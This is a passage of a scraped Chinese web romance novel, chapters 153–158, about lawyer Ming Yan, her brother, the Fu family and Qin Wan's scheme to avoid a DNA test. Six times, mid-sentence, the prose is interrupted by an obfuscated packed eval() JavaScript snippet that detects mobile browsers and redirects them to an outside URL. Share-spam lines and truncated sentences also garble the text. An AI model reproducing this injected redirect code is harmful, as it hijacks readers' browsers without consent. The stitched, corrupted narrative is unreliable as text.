自从傅修沉‘出事’大哥这段时间一直都待在江南虽然嘴上不说但她知道他是放心不下自己。 “公司有事。”明燃语气没什么起伏“地点我发你。” 挂了电话明嫣看向傅修沉:“大哥说中午一起吃饭他下午回魔都。” 傅修沉抬眸镜片后的目光闪了闪了然道:“嗯是该回去了。” 再待下去某位妹控怕是真要看他哪哪儿都不顺眼了。 中午约在一家环境清雅的江南私房菜馆。 明燃到得比他们稍早独自坐在临窗的位置面前只放了一杯清水。 他穿着深灰色大衣身形挺拔 看到明嫣和傅修沉相携进来他的目光在傅修沉揽着明嫣腰的手上停留了一瞬没什么表情地移开。 “哥。”明嫣在他对面坐下傅修沉自然地为她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777648|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉开椅子然后在她身边落座。 “明总。”傅修沉颔首致意。 明燃从鼻 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 子里“嗯”了一声,算是回应。 菜品陆续上来,都是明嫣喜欢的口味。 席间,明燃话不多,只偶尔问几句明嫣律所的情况,或是叮嘱她注意身体,对傅修沉则基本是视而不见。 傅修沉也不在意,自顾自地给明嫣布菜,剥虾,动作自然熟练,仿佛做过千百遍。 明嫣看着碗里堆成小山的菜,又看看自家大哥那副冷冰冰的样子,忍不住在桌子底下轻轻踢了傅修沉一下,示意他收敛点。 傅修沉挑眉看她,眼底带着戏谑,非但没收敛,反而又夹了一块剔好刺的鱼肉放到她碗里。 明燃将两人的小动作尽收眼底,握着水杯的手指几不可察地收紧,随即又松开。 就在这时,明嫣放在手包里的手机嗡嗡震动起来。 她拿出来一看,是陆奉归。 “喂?” “老板!”陆奉归的声音带着一丝急切和兴奋,“有个紧急情况!一位委托人到咱们律所了,点名要您代理一桩跨国离婚案!” 明嫣微微蹙眉,“跨国离婚?标的额很大?” “非常大!涉及欧洲和国内多处不动产、信托基金,还有一家海外科技公司的股权分割,非常复杂!对方看起来很着急,说只要您肯接,律师费不是问题。” 明嫣沉吟片刻。 “你把委托人的基本资料先发给我看看,我一会儿就回律所。” “好的老板,马上发您!” 挂了电话,傅修沉抬眸看她,用眼神询问。 “律所有点事,有个跨国离婚案,委托人直接找上门了。”明嫣简单解释了一句,坐下后拿出手机,点开陆奉归刚刚发来的邮件。 明燃闻言,没什么反应,依旧慢条斯理地喝着汤,只是漫不经心地瞥过去一眼…… 邮件加载出来,首先映入眼帘的是一张委托人信息表的扫描件。 当明嫣的目光落在“姓名”那一栏时,瞳孔猛地一缩,拿着手机的手指瞬间收紧—— 林晚辞。 ‘叮’—— 明燃手中的汤匙撞上碗沿,发出清脆的声音。 他面无表情地继续舀了一勺汤,送入口中,喉结滚动…… 第154章 做DNA亲子鉴定! 明嫣回到律所时,林晚辞已经等在会客室了。 见到明嫣,她立刻站起身,“嫣嫣,好久不见了。” “好久不见……” 明嫣面色复杂地在她对面坐下,将陆奉归初步整理的资料放在桌上,“关于你的委托,我初步了解了一下情况。” 林晚辞双手交叠放在膝上,指甲修剪得圆润,涂着裸色的甲油,只是细看之下,指关节处有些不易察觉的僵硬。 “是,我实在是没有办法了……”她眼圈微微泛红,声音放得更软,“卡佩家的情况很复杂,我在国外举目无亲,只能回来找你帮忙。嫣嫣,看在我们以前的情分上……” 明嫣没有接这个话头,只是翻开资料,“根据你提供的有限信息,这桩离婚案涉及跨国资产分割,尤其是那家科技公司的股权,确实很复杂。不过,我们律所目前接手的跨国案件已经饱和,恐怕……” “律师费不是问题!”林晚辞急急打断,身体前倾,“我可以预付……” “不是钱的问题。” 明嫣合上文件夹,抬眸,目光清凌凌地落在她脸上,“其实欧洲有很多优秀的擅长处理贵族离婚案的律师,他们的经验可能比我更丰富。我个人建议,你可以多咨询几家。” 林晚辞脸上的血色褪去几分,交叠的手指收紧,指甲掐进了掌心。 “你……是不肯帮我吗?”她声音颤抖,带着一丝不易察觉的尖锐。 “我只是客观评估,并给出最有利于你的建议。” 明嫣站起身,“抱歉,这个委托,嫣然律所无法接受,后续如果有其他合适的律所,我可以让助理推荐给你。” “行!” 林晚辞瞬间变脸,猛地起身往门外走去。 明嫣起身送她,看着她坐着门口的车离开,心里说不上是什么滋味。 她深吸一口冰冷的空气,转身,径直走向路边停着的那辆黑色迈巴赫走去。 拉开车门,她将手里的文件袋递了过去。 “哥,这是你要的资料。” 明燃下意识地接过,等拿出里面的文件时,手上的动作不由得一顿。 只见最上面赫然是一份伤情鉴定报告的复印件,触目惊心的青紫伤痕照片和“多处软组织挫伤”、“陈旧性伤痕”等字眼刺入眼帘。 明嫣抿了抿唇,“她丈夫,卡佩,有性功能障碍且长期家暴。现在卡佩家族濒临破产,他本人也查出重病,活不了多久了,他竟然打算让他那个同样有暴力倾向的弟弟‘接手’林晚 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 辞,美其名曰照顾嫂子,其实就是舍不得林家这可摇钱树……” 她顿了顿,看向明燃线条冷硬的侧脸:“我没接她的委托。哥,五年了,足够让一个人彻底改变。我觉得她现在……心思不单纯。她专挑这个节点回国,找到我,未必只是巧合。你……也别再掺和她的事了。” 明燃的下颌线绷得紧紧的,过了好几秒,才从喉咙里滚出一个低沉的声音:“我知道,不用你多说。” 他顿了顿,视线落在前方,“好了,你回去吧,我走了。” 明嫣见他态度明确,便稍稍放心,点了点头,关上车门。 迈巴赫平稳地汇入车流。 明燃面无表情地开着车,直到在一个红灯前停下,他才抬手揉了揉眉心。 视线不经意地扫过副驾上的文件,里面似乎夹着什么东西,露出一个小角。 他眉头微蹙,伸手将它抽了出来。 是一张便签纸,折叠着,上面只有一行娟秀的字迹——明天下午三点,君悦酒店1808。 落款,只有一个字—— 辞。 明燃的瞳孔几不可察地收缩了一下,指尖捏着那张单薄的纸片,力道大得几乎要将其捻破。 绿灯亮起,后方的喇叭声催促着,他面无表情地将纸条揉成一团,塞进大衣口袋,猛地踩下油门。 …… 明嫣送走明燃,刚转身,腰就被一只有力的手臂揽住。 傅修沉不知何时从另一辆车上下来,站在她身后,低头蹭了蹭她的发顶,“聊完了?” “嗯。” “晚上回老宅吃饭,”他语气自然,“老爷子出院了,念叨着想你。” 明嫣想起那个总是乐呵呵塞给她好东西的老人,心头一暖,点头:“好。” 等傅修沉和明嫣回到傅家老宅时已经是傍晚。 还没等迈进客厅,就听见一阵哭哭啼啼的声音,矫揉造作得让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦婉忙不迭地点头,像是抓住了救命稻草:“我做!爷爷,我现在就可以去做!只要您肯认我,让我做什么都行!” 第155章 霍寒山入赘傅家 傅老爷子挥了挥手眉宇间带着不耐显然懒得再看她。 他目光转向傅修沉“修沉你跟我来书房。” 说完他率先站起身朝楼上走去。 傅修沉捏了捏明嫣的手递给她一个安抚的眼神“在这儿乖乖等我我一会儿就下来。” “嗯。” 书房内红木家具沉淀着岁月的厚重感檀香袅袅。 傅老爷子关上房门脸上的怒容更盛他走到书桌后猛地一拍桌子:“傅修沉!你到底想干什么?!承平是你亲二叔!你把他打成那样现在还在医院里躺着!这件事你是不是做的太绝了?!” 傅修沉神色不变 “你!”傅老爷子指着他手指都在发抖“那是你二叔!” “他对我下手的时候可没想过他是我二叔。” 傅老爷子的眉头紧皱一颗心顿时就提了起来连带着嗓音都沉了下来“在你车上动手脚的人……” 只不过还没等他说完傅修沉就开口打断嗓音淡淡道“不是他他没这个胆量。” 能想到的唯一害自己的方式是撺掇傅承慧给自己下毒…… 这样的人做不出在他车上动手脚的事。 更何况他事后也查过基本上排除傅承平和傅承慧的嫌疑…… 可这样一来—— 到底是谁能有这般动机和能力? 傅老爷子似是暗暗地舒了口气面色稍稍缓和了一些当即抿了抿唇“怕不是你在商场树敌太多有人看你不顺眼……” 傅修沉的眼底掠过一丝寒芒冷哼一声却没多说什么。 倒是傅老爷子继续道“我老了这傅家和整个傅氏集团是早晚要交到你手里的你做得别太绝咱们毕竟……都是一家人。” 傅修沉再开口时声音缓和了些“爷爷傅家需要清洗以前是我不在让他们钻了空子现在我既然接管傅氏集团有些个规矩就该立起来了。” 他抬眼目光沉静地看着老爷子:“至于二叔看在您的面子上我会给他留条活路送他出国治疗傅家会负责他后半生的开销。但他和他那一系的人从此不得再插手傅家和跃华的任何事务。” 傅老爷子看着孙子冷峻的眉眼知道他已经做了决定再无转圜余地。 他重重叹了口气仿 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 佛一瞬间又苍老了许多,疲惫地挥了挥手:“罢了,罢了……你如今翅膀硬了,我也管不了你了。只是修沉,做事……总还是要留几分余地。” “我自有分寸。”傅修沉站起身,“如果没别的事,我先下去了。嫣嫣还在下面。” 提到明嫣,老爷子的脸色稍微好看了点,嘟囔了一句:“那丫头……是个好的。你好好对人家。” 傅修沉唇角微勾:“我知道。” …… 而此时的楼下客厅,气氛依旧有些微妙。 傅老夫人正拉着秦婉的手,低声安抚着:“……好了,别哭了,做个DNA鉴定而已,按理说是该走个过场……毕竟我们这样的人家,血脉不容混淆……” 当初接秦婉回傅家时,正值傅修沉被‘炸死’,傅老爷子病发住院的混乱时期。 当然,那时也是她自作主张地让秦婉以老大傅承业的私生女身份进了傅家。 当初她还存着给许婷婷一个脸面的念头,让她不至于太难做。 毕竟这种事情在豪门家宅也是见怪不怪的事情,睁一只眼闭一只眼也就过去了。 可如今,许婷婷既然还是提出了离婚诉讼,那这层遮羞布也就无所谓了。 只不过,既然都对外宣称她是老大傅承业的私生女了,那就自然没有再更改的必要了。 这个身份,秦婉必须认下。 “等结果出来,证明了你确实是傅家的血脉,奶奶就风风光光地把你认回来,到时候,再给你和寒山把婚礼办了,一定办得漂漂亮亮的!” 她说着,目光扫向一旁脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777650|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁青的霍寒山,话锋故意一转,带着施舍般的优越感:“不过嘛,我们傅家的女儿,可不能随随便便就嫁了。寒山啊,你要是真心想娶婉儿,就得按我们傅家的规矩来——入赘。以后你们生的孩子,也得姓傅。” “入赘”两个字像两记响亮的耳光,狠狠扇在霍寒山脸上。 他猛地攥紧了拳头,指节泛白,下颌线绷得死紧,额角青筋隐现。 让他霍寒山入赘? 简直是奇耻大辱! 秦婉时刻注意着霍寒山的反应,见他脸色难看至极,生怕他当场翻脸,连忙挤出笑容,敷衍地晃着傅老夫人的胳膊:“奶奶,这事儿不急,以后再说,以后再说嘛……我和寒山……我们感情好着呢,不在乎这些……” 她一边说着,一边小心翼翼地去瞟霍寒山的脸色,心里七上八下。 霍寒山胸口剧烈起伏,强压下翻涌的怒火和**,他的目光不受控制地,下意识地转向明嫣所在的方向—— 他想看看她此刻的表情,是嘲讽,是怜悯,还是……无动于衷? 然而,此时的明嫣却压根没看这边。 此时的她正微微侧头和坐在角落沙发里的陆凛说着话。 她唇角微勾,眉眼间带着一丝轻松的笑意,不知道在说些什么。 而陆凛,虽然依旧是那副懒散的模样靠着沙发,手指漫无目的地在手机屏幕上划拉着,但目光却是落在她脸上的,那头耀眼的金发在灯光下,都似乎柔和了几分。 霍寒山的心脏像是被一只无形的手狠狠攥住,酸涩、不甘、妒忌…… 种种情绪如同毒藤般疯狂缠绕,几乎让他窒息。 她怎么可以…… 怎么可以在他如此狼狈不堪的时候,对着别的男人笑的那样……灿烂? 她连陆凛那种只认识了几天的人都尚且可以毫无芥蒂地笑,为什么单单对他冷漠疏离? 这是不是说明…… 她的心里其实还是有他的? 第156章 你想让我回去吗?(加更) 而此刻明嫣正在和陆凛闲聊。 “最近好像没在律所看到你很忙?” 明嫣随口问道 她今天穿了件浅杏色的针织长裙衬得肤色愈发白皙长发松松挽起几缕碎发垂在颈侧显得温婉又随意。 陆凛划着屏幕的手指几不可察地顿了一下头也没抬含糊地“嗯”了一声。 “回傅氏了?”明嫣又问。 她其实猜到了傅修沉重新掌权傅氏内部必然经历大清洗陆凛作为嫡系回去是必然。 陆凛动作顿了一下游戏里的小人瞬间被击杀屏幕暗了下去。 他有些烦躁地把手机扔到一边这才撩起眼皮看她那双桀骜的眼睛里情绪不明:“怎么不行?” “当然不是……” 明嫣失笑觉得他这反应有些莫名“你本来就是傅家的人回傅氏集团天经地义。之前在我那小律所才是屈才了。” 她这话说得真心实意。 不管是陆凛的学历还是能力用来整理案卷跑腿打杂确实是暴殄天物。 陆凛盯着她看了几秒忽然扯了扯嘴角那笑容里带着点自嘲又有点别的什么他身体微微前倾手肘撑在膝盖上拉近了些距离声音压低带着点砂砾感:“你想让我回去吗?” “……” 明嫣被他这没头没脑的问题问得一怔眨了眨眼随即一脸哭笑不得道“什么叫我想让你回去?难不成是我想让你回去你就能回去的吗?” 她只当他是少爷脾气又上来了随口玩笑便也顺着话头语气轻松地补充“回去好好干以你的能力在傅氏肯定能闯出一片天地的。到时候说不定还得仰仗陆少多多关照我们小律所呢。” 她说着还故作调侃地拱了拱手。 陆凛看着她脸上轻松又带着点狡黠的笑容眼底深处那点微弱的火光像是被风吹灭的烛芯悄无声息地暗了下去。 他猛地向后靠回沙发背重新抓起手机手指用力地划拉着屏幕语气变得硬邦邦的听不出情绪:“嗯。我会的。” 明嫣觉得他这情绪转变有点快但转念一想陆凛向来阴晴不定便也没再多问。 正好看见傅修沉从楼上下来她便起身迎了过去。 陆凛的目光追随着她的背影看着她自然地挽住傅修沉的手臂两人低声交谈着什么傅修沉抬手极其自然地帮她将一缕滑落的碎发别到耳后。 他捏着手机的指节用 听说看这本书的人都是很幸运的,分享后你的运气会更棒 力到泛白,舌尖抵了抵后槽牙,心底那股无名火夹杂着酸涩,烧得他五脏六腑都难受。 他猛地站起身,动作大的引得众人侧目。 “我出去透口气。 他丢下这句话,也不看任何人,双手插兜,那头金发在穿堂风中扬起,大步流星地朝庭院走去。 傅修沉扫了一眼陆凛,随即收回视线,极其自然地伸手揽住了明嫣纤细的腰肢,将她往自己怀里带了带,动作亲昵而占有欲十足,“刚才跟陆凛在聊什么呢? 明嫣感受到他手臂的力量和身上传来的清冽气息,很自然地靠向他,仰头笑了笑:“没什么,随便聊聊,陆凛说他回傅氏了,我鼓励他好好干呢。 傅修沉揽着明嫣的腰往餐厅走,低头凑在她耳边,热气拂过她耳廓:“越来越有当嫂子的架势了,嗯?还知道鼓励弟弟。 明嫣耳根一热,手肘轻轻往后顶了他一下,嗔怪地瞪他:“胡说什么呢! 他低笑,手臂收紧,将她往怀里带了带,薄唇几乎贴着她耳垂,“怎么是胡说?方才不是挺有范儿的?‘回去好好干,以你的能力,在傅氏肯定能闯出一片天地的’…… 他学着她方才的语气,嗓音压低,带着磁性的揶揄,“不愧是干律师的,说话一套一套的。 明嫣被他弄得痒,偏头躲开,脸颊绯红,“傅修沉,你能不能正经点? “正经?他挑眉,指尖在她腰间软肉上不轻不重地一捏,惹得她轻呼一声,“对着自己老婆,要那么正经干什么? “你!明嫣气结,抬手想捶他,却被他顺势捉住手腕,指尖在她掌心暧昧地划了一下。 她羞得想抽回手,却被他牢牢握住。 “晚上想吃什么? 他忽然转了话题, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777651|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指腹摩挲着她细腻的手腕内侧,“陈嫂说今天空运来了不错的蓝龙虾,给你做芝士焗的?还是想吃点别的?上次你说想试试苏帮菜的那道蟹粉狮子头,我让厨房准备? 他语气自然,带着纵容的宠溺,仿佛方才那个使坏的人不是他。 明嫣的注意力果然被转移,微微蹙眉思索:“嗯……龙虾有点腻,蟹粉狮子头好像工序很复杂,这个点准备来得及吗?要不简单点…… “给你做饭,有什么来不及的? 傅修沉打断她,指尖轻轻捏了捏她的手指,“想吃就让他们做。 两人旁若无人地说着话,姿态亲昵自然,自成一方天地。 这一切,分毫不差地落在一旁的霍寒山眼里。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 他脸色铁青,攥紧的拳头指节泛白,手背上青筋虬结。 他看着明嫣在傅修沉面前自然而然流露出的娇嗔和依赖,看着她因傅修沉的靠近而泛红的脸颊…… 那些都是他曾经触手可及的…… 心脏像是被无数细密的针反复穿刺,又像是被浸入冰窖,冷得发痛。 她甚至…… 连一个多余的眼神都没有分给他。 “寒山?寒山你怎么了?”秦婉注意到他难看的脸色,小心翼翼地凑近,想去拉他的衣袖。 霍寒山猛地甩开她的手,动作之大,让秦婉踉跄了一下。 他看也没看秦婉一眼,声音冷得掉冰碴,像是从齿缝里挤出来:“我还有事,先走了。” 说完,不等任何人反应,他猛地转身,大步流星地朝着门口走去。 “寒山!寒山你去哪儿?!”秦婉在他身后急切地喊道,下意识想追上去。 “让他去!”傅老夫人没好气地喝止,脸色阴沉,“一点规矩都不懂!当着长辈的面甩脸子,像什么样子!婉儿你别管他,等他冷静下来,自然会想明白!” 秦婉被吼得缩了缩脖子,看着霍寒山迅速消失在门外的背影,不甘地跺了跺脚,愤愤地坐回沙发,指甲狠狠掐进了掌心…… 第157章 其实我不是第一次…… 秦婉气呼呼地回到家中,将手里的包狠狠摔在沙发上。 秦晓林正坐在沙发上敷面膜,见她这副模样,不由得皱了皱眉,抬手揭下面膜,“这是怎么了?谁又惹我们大小姐不高兴了? “还能有谁!秦婉一屁股坐在沙发上,气得胸口起伏,“还不是傅家那个死老太婆! 她像是找到了宣泄口,一股脑地将今天在傅家发生的事情倒了出来,尤其是傅老夫人让霍寒山入赘傅家的事情,更是添油加醋地说了一遍。 “……妈,你说她是不是欺人太甚?!竟然让寒山入赘!这传出去,寒山的脸往哪儿搁?他怎么可能答应?! 秦婉越说越气,眼圈都红了,“万一……万一他因为这个悔婚怎么办? 她费了那么大功夫才让霍寒山松口答应娶她,如今婚期都定好了,就在下月末…… 秦晓林听完,先是愣了一下,随即竟哑然失笑,拍了拍她的手背,“我当是什么大事呢,原来就为这个? 秦婉愣住了,不解地看着母亲:“妈?这难道还不是大事吗?入赘啊!霍寒山那么骄傲的人,他怎么可能…… “他不会悔婚的。 秦晓林打断她,语气笃定,“傻女儿,你怕什么?霍寒山现如今有把柄握在我们手里,他翻不出什么风浪。 “更何况他都碰过你了……秦晓林微微勾了勾唇,“女孩子的第一次可是最珍贵的,他霍寒山占了这天大的便宜,还想不负责任?天下哪有这么便宜的事! 她顿了顿,“这件事,他答应也得答应,不答应也得答应!由不得他反悔! 秦婉听到“第一次三个字,脸上飞快地掠过一丝不自然,她扭捏地低下头,手指绞着衣角,声音细若蚊蚋:“妈……其实……其实我不是第一次…… “什么?!秦晓林脸上的笑容瞬间僵住,猛地坐直身体,难以置信地看向女儿,“你说什么?你不是……这怎么可能? 她装植物人五年,在她昏迷前的记忆里,女儿秦婉虽然有些骄纵,但在男女之事上一直还算规矩,没听说她谈过什么正经男朋友啊? 秦婉被母亲的反应吓了一跳,缩了缩脖子,有些不好意思地小声道:“就是……就是上大学的时候,跟同学出去联谊,喝多了……跟隔壁大学的一个男生……后来也跟几个男人睡过……早就……早就不是了…… 她越说声音越小,脸颊泛起红晕,也不知是羞的还是臊的。 秦晓林抿了抿唇,“……算了,也没什么要 听说看这本书的人都是很幸运的,分享后你的运气会更棒 紧的……” 她深吸一口气,“那种时候,黑灯瞎火的,霍寒山那种没经验的雏儿,他能分辨出来什么?你就一口咬定是第一次就行……” 秦婉闻言,眼睛瞬间亮了起来,喜滋滋地点头:“妈,你说得对!他那时候神志都不清了,肯定分不清!” 她像是解决了心头大患,整个人都轻松起来,随即又像是突然想到了什么,有些担忧地蹙起眉:“对了,妈,那我……我是不是得吃事后药啊?万一……万一怀上了怎么办?” “吃什么药!”秦晓林立刻打断她,眼神里闪烁着算计的光芒,“怀上了正好!生下来!” “啊?”秦婉愣住了。 秦晓林拉着女儿的手,语重心长地分析:“婉儿,你想想,你现在这个身份,说到底还是名不正言不顺,有些尴尬。傅老爷子那边态度不明,老太太虽然护着你,但毕竟做不了最终的主。可若是你真能怀上孩子,尤其是男孩……” 她顿了顿,压低声音,带着蛊惑,“到时候,就算为了孩子,傅家也必须给你一个名分!霍寒山入赘,孩子姓傅,那就是傅家的曾孙!有孩子在手,你下半辈子还愁什么?荣华富贵,享之不尽!” 秦婉越听眼睛越亮,仿佛已经看到了自己母凭子贵,在傅家呼风唤雨的未来! “妈!你说得对!太好了!那我得抓紧时间,赶紧把DNA亲子鉴定做了,等结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777652|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,名正言顺地认祖归宗,然后就能风风光光地准备婚礼了!” 她兀自兴奋地规划着,没注意到身旁的秦晓林在听到“DNA亲子鉴定”时,脸色骤然一白,血色尽褪! “你说什么?!”秦晓林的声音带着一丝不易察觉的颤抖,“做什么DNA鉴定?!傅家不是已经认了你了吗?为什么还要做这个?!” 秦婉撇了撇嘴,满地嘟囔着,“是傅家那个死老头子非要让我做的!说什么要确认是傅家的血脉后,才会让我正式认祖归宗!真是多此一举!烦**!我的父亲不是傅承平还能是谁?难道还能是别人不成?” 秦晓林快速地垂下了眼眸,待抬头时,唇角强挤出一丝笑意,“婉儿,听妈说,这个DNA鉴定,咱们不能做。” “为什么?”秦婉不解地蹙起眉头,“做了才能名正言顺啊!不然那死老头子总拿乔……” “傻孩子,你想想,” 秦晓林打断她,“傅家既然已经对外承认了你的身份,老太太也认了你,这时候我们再上赶着去做鉴定,落在别人眼里像什么?岂不是显得我们心虚,迫不及待要坐实这个身份,平白让人看低了去!” 她顿了顿,观察着秦婉的神色,继续添火:“这豪门大户,最讲究个脸面和姿态。你越是表现得不在乎,越是从容,他们反而越不敢轻视你。” “咱们得端着点儿,让他们知道,我们回来,不是来乞讨的,是理所应当!这鉴定,得等他们三催四请,显得我们是被动的,是给他们傅家面子,懂吗?” 秦婉被她绕得有点晕,但“攀龙附凤”、“被人看不起”这几个字眼刺中了她敏感的神经。 她最恨别人看不起她! 虽然觉得哪里不太对劲,但妈妈总不会害她,当即点了点头,“行吧,妈你说的有道理。那……那就先拖着,等他们来求着我们做!” 秦晓林一脸欣慰地点了点头,“对了,你……” 可还没等她说完,门铃突然响了起来…… 第158章 她成全他和青梅,反倒成了白月光 “这么晚了谁啊?”秦婉疑惑地蹙起眉头心里嘀咕着还是趿拉着拖鞋小跑过去。 透过猫眼往外一看她脸上瞬间阴转晴染上毫不掩饰的欣喜飞快地打开了门。 “舅舅!” 门外的男人身材高大穿着一身紧束的黑色皮夹克勾勒出精壮的身形。 他五官线条硬朗眉骨高眼窝深不说话时自带一股煞气。 他便是秦晓林的表哥赵老四因为在道上混所以名声不算好但是对秦婉这个外甥女却是真心实意的宠几乎是有求必应。 “婉儿。”赵老四笑呵呵地抬手习惯性地想揉揉秦婉的头发看到她精心打理的发型手在半空顿了顿转而拍了拍她的肩膀“这么晚还没睡?” “舅舅你怎么来了?快进来!”秦婉亲**挽住赵老四的胳膊将他拉进屋里。 “四哥……”秦晓林也迎了上来眼底却飞快地掠过一丝不易察觉的紧张“你怎么这个点过来了?” 赵老四迈步进来目光在客厅里扫了一圈 他消息灵通虽然在道上混但对傅家这盘根错节的豪门动向自有其打听的渠道。 秦婉立刻像是找到了主心骨委屈巴巴地凑过去把在傅家受的“气”尤其是傅老夫人提出让霍寒山入赘以及傅老爷子坚持要做DNA鉴定的事情添油加醋地说了一遍。 赵老四安静地听着烟雾缭绕中听见‘DNA鉴定’的时候他眉头微皱地看向秦晓林…… 秦晓林心头猛地一跳几乎是下意识地垂下了眼睑手指无意识地绞紧了衣摆不敢与他对视。 “舅舅?”秦婉疑惑地唤了一声。 赵老四收回目光深吸了一口烟然后缓缓吐出“行了婉儿这种事情还是你妈妈的话……她走过的桥比你走过的路还多她让你怎么做你就怎么做。傅家这潭水深得很有些事儿急不得。” 秦婉虽然骄纵但对这个从小宠她舅舅还是有几分敬畏和依赖的。 见他都这么说心里那点微末疑虑也散了乖巧地点点头:“嗯我知道了舅舅我都听妈的。” 赵老四“嗯”了一声随即站起身“行了太晚了你们早点休息。有什么事随时给我打电话。” 他来得突然走得也干脆。 秦晓林送走赵老四关上门背靠着冰冷的门板 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,长长舒了一口气,手心却是一片冰凉的濡湿…… …… 第二天一大早,冬日的阳光带着几分慵懒的暖意。 明嫣约了客户在律师所附近的一家高级咖啡厅谈事,结束后,她独自一人沿着街道漫步,准备回律所。 她穿着一件剪裁利落的燕麦色羊绒大衣,颈间系着一条浅灰色羊绒围巾,长发松松挽起,露出白皙修长的脖颈,气质清冷又干练。 刚走到一处奢侈品店集中的路口,就听见旁边传来一道再熟悉不过的女声…… “霍寒山!你什么意思?陪我出来买结婚用的东西,就一直摆着这张**脸给我看是吗?” 明嫣脚步微顿,下意识循声望去。 只见不远处的珠宝店门口,秦婉正扯着霍寒山的胳膊,脸上是毫不掩饰的怒气。 她今天打扮得格外招摇,一身亮粉色的皮草,配上浓妆,与周遭优雅的环境格格不入。 霍寒山则穿着一身深灰色西装,身形挺拔,只是脸色极其难看,薄唇紧抿,眉眼间全是不耐。 “秦婉,这里是公共场合,你闹什么?”他的声音压抑着怒火,低沉沙哑。 “我闹?我哪里闹了?!” 秦婉声音拔高,引得路过行人纷纷侧目,“从进店开始你就心不在焉,让你帮我挑条项链你也敷衍了事!霍寒山,你是不是心里还想着那个……” 她的话音戛然而止。 目光猛地落在站在几步之外的明嫣身上。 一瞬间,秦婉脸上的怒气如同被点燃的**桶,瞬间炸开。 她用力甩开霍寒山的手,几步冲到明嫣面前,尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777653|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利的指甲几乎要戳到明嫣脸上。 “明嫣!你怎么会在这里?你跟踪我们?” 明嫣眉头微蹙,后退了半步,她懒得与这两人纠缠,转身欲走。 “站住!”秦婉却不依不饶,一把抓住明嫣的手臂,力道大得惊人,指甲隔着厚厚的大衣都掐得人生疼,“别以为我不知道你心里那点龌龊心思!怎么,看到寒山要跟我结婚了,你不甘心是不是?我告诉你,他现在是我的未婚夫!我们马上就要结婚了!你休想再勾引他!” 这番颠倒黑白的指控,让明嫣只觉得荒谬透顶。 她用力甩开秦婉的手,冷声道:“我对已经扔出去的垃圾没有兴趣!” “你说谁是垃圾?”秦婉像是被踩了尾巴的猫,声音尖利得刺耳,“你别装了,你要是没想法,寒山他怎么会对你念念不忘,他……” “秦婉!”霍寒山终于上前,一把攥住秦婉的手腕,强行将她从明嫣身边拉开,声音带着压抑不住的怒意,“你够了!还嫌不够丢人吗?” “我丢人?”秦婉满脸的不敢置信,混合着巨大的委屈和愤怒,声音带着哭腔,“霍寒山,你为了她吼我?你以前从来不会这样对我的!” 